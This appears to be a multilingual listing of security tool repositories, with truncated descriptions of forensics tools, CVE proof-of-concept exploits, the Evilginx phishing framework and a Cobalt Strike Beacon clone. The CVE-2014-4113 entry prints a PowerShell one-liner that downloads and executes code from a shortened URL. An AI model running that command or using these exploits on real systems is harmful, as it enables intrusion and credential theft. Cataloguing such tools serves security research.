hindsight

Hindsight Internet history forensics for Google Chrome/Chromium and Mozilla Firefox Hindsight is a free tool for analyzing web artifacts. It started with the browsing history of the Google Chrome web browser, has expanded to support other Chromium-based applications, and now also parses Mozilla...

demiguise

Demiguise - HTA encryption tool Released as open source by NCC Group Plc - http://www.nccgroup.trust/ Developed by Richard Warren, richard dot warren at nccgroup dot trust http://www.github.com/nccgroup/demiguise Released under AGPL, see LICENSE for more information What does it do? The aim of th...

demiguise

Demiguise - outil de chiffrement HTA Publié en open source par NCC Group Plc - http://www.nccgroup.trust/ Développé par Richard Warren, richard point warren at nccgroup point trust http://www.github.com/nccgroup/demiguise Publié sous licence AGPL, voir LICENSE pour plus d'informations Qu'est-ce q...

Satellian-CVE-2020-7980

Satellian-CVE-2020-7980 Satellianは、Intellian衛星コントローラー（Intellian Aptus Web）におけるRCE脆弱性を示すPoCスクリプトです。 以下のスクリプトは、システム内のすべてのバイナリをリストし、その後テスターがサーバーと直接（通常はrootとして）対話できるようにします。 PoC root@kitploit: xh4h@Macbook-xh4h /Satellian python satellian.py -u http:// / \ oo Intellian Satellite Terminal PoC /-------/...

GO-2026-6321 alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server in github.com/guno1928/alos-http

alos-http has unauthenticated remote DoS: malformed path starting with "?" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server in github.com/guno1928/alos-http...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 x64 Windows uniquement iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

misp-objects

misp-objects Объекты MISP используются в системе MISP и могут применяться другими инструментами обмена информацией. Объекты MISP дополняют атрибуты MISP, позволяя создавать расширенные комбинации атрибутов. Создание этих объектов и связанных с ними атрибутов основано на реальных сценариях...

geacon

Geacon Использование Go для реализации Beacon от CobaltStrike Этот проект предназначен только для изучения анализа протоколов и обратной разработки. Если чьи-то права были нарушены, пожалуйста, свяжитесь со мной для удаления проекта. И последнее: НЕ ИСПОЛЬЗУЙТЕ ЕГО НЕЗАКОННО Как играть 1. Настрой...

geacon

Geacon Using Go to implement CobaltStrike's Beacon This project is for learning protocol analysis and reverse engineering only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY How to play 1. Setup the teamserver and start a htt...

evilginx2

Evilginx 3.0 Evilginx est un framework d'attaque man-in-the-middle utilisé pour le phishing d'identifiants de connexion ainsi que des cookies de session, ce qui permet de contourner la protection par authentification à deux facteurs. Cet outil est le successeur d'Evilginx, sorti en 2017, qui...

evilginx2

Evilginx 3.0 Evilginx is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection. This tool is a successor to Evilginx, released in 2017, which used a custom version of nginx HTTP server...

K8tools

K8tools Declaration: The tools are for security research or authorized penetration only. Any illegal use is at your own risk. Download: https://github.com/k8gege/K8tools Documentation: http://k8gege.org/p/72f1fea6.html PS: Updated irregularly. The files are relatively large, please download on...

CVE-2021-33044

CVE-2021-33044 Exploitation de contournement d'authentification pour les appareils Dahua IPC/VTH/VTO À propos : La vulnérabilité de contournement d'authentification identitaire découverte dans certains produits Dahua lors du processus de connexion. Les attaquants peuvent contourner...

RAU_crypto

RAUcrypto Комбинированный эксплойт для Telerik UI for ASP.NET AJAX. Загрузка файлов для CVE-2017-11317 и CVE-2017-11357 — автоматически загружает файл Десериализация .NET для CVE-2019-18935 Теперь поддерживает проверку способности цели загружать удаленные полезные нагрузки из SMB-сервиса,...

paramiko

|version| |python| |license| |ci| |coverage| .. |version| image:: https://img.shields.io/pypi/v/paramiko :target: https://pypi.org/project/paramiko/ :alt: PyPI - Package Version .. |python| image:: https://img.shields.io/pypi/pyversions/paramiko :target: https://pypi.org/project/paramiko/ :alt:...

shiro-cve-2020-17523

Analyse des contournements d'authentification Apache Shiro CVE-2020-17523 0x01 Description de la vulnérabilité Apache Shiro est un framework de sécurité Java puissant et facile à utiliser, qui assure l'authentification, l'autorisation, la gestion des mots de passe et des sessions. Grâce à l'API...

ronin

ronin Site Web Source Problèmes Documentation Discord | Mastodon Description Ronin est une boîte à outils Ruby libre et Open Source pour la recherche et le développement en sécurité. Ronin contient de nombreuses commandes CLI et bibliothèques Ruby pour diverses tâches de sécurité, telles que...

CVE-2024-27956-RCE

CVE-2024-27956-RCE PoC для CVE-2024-27956, SQL-инъекции в плагине ValvePress Automatic. Этот PoC эксплуатирует уязвимость, создавая пользователя на целевой системе и предоставляя ему права администратора. Наличие прав администратора в WordPress может привести к удалённому выполнению кода...

xnLinkFinder

About - v8.2 This is a tool used to discover endpoints, discover potential parameters, generate a target specific wordlist and find secrets for a given target. It can find them by: crawling a target pass a domain/URL crawling multiple targets pass a file of domains/URLs searching files in a given...

CVE-2024-53677

CVE-2024-53677 - Environnement de reproduction de la vulnérabilité d'exécution de code à distance RCE dans Apache Struts 2 Ce dépôt fournit un environnement basé sur des conteneurs pour reproduire la vulnérabilité CVE-2024-53677 dans Apache Struts 2. Cette vulnérabilité implique un contournement ...